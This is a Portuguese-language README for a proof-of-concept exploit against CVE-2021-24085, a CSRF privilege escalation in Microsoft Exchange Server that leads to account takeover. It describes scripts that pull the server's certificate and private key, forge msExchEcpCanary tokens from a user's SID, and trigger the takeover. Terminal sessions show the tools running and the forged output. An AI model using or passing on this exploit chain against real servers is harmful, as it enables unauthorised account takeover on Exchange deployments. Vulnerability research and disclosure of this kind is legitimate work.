
Exploit de prova de conceito para CVE-2021-24085: elevação de privilégio baseada em CSRF no Microsoft Exchange Server via falsificação de token msExchEcpCanary, possibilitando a tomada de conta.
Este é um Proof of Concept para CVE-2021-24085.
poc.py baixa o arquivo de certificado do alvo com a chave privada internaYellowCanary gera o token csrf msExchEcpCanary para um usuário específico com base no SIDpoc.js é o exploit csrf para desencadear uma tomada de contaEu não forneci o arquivo malicifest.xml, mas você pode encontrar informações sobre como gerar um arquivo de manifesto malicioso a partir dos recursos disponíveis na seção de referências abaixo.
Acesse o certificado com a chave privada dentro:
researcher@srcincite:~$ ./poc.py
(+) usage: ./poc.py <target> <user:pass>
(+) eg: ./poc.py 192.168.75.142 [email protected]:user123###
researcher@srcincite:~$ ./poc.py 192.168.75.142 [email protected]:user123###
(+) found the thumbprint: F4EB6AADB8D7C0D12E756BA2E28F90CCACD41299
(+) exported the cert to the target filesystem
(+) saved the cert to testcert.der using password: hax
Agora você pode gerar tokens csrf com YellowCanary usando o SID de um usuário alvo:
c:\Users\researcher>poc.exe S-1-5-21-257332918-392067043-4020791575-3104 testcert.der hax
#====================================================
# YellowCanary - generate msExchEcpCanary csrf tokens
#====================================================
security identifier : S-1-5-21-257332918-392067043-4020791575-3104
msExchEcpCanary : sA0o0nS_C0G_PMdcA_dAd5BdAEL_-NcYhndaAwlhBJFs4a4iKy4sn53azH-O5Ix3F0jnwzZZUsk.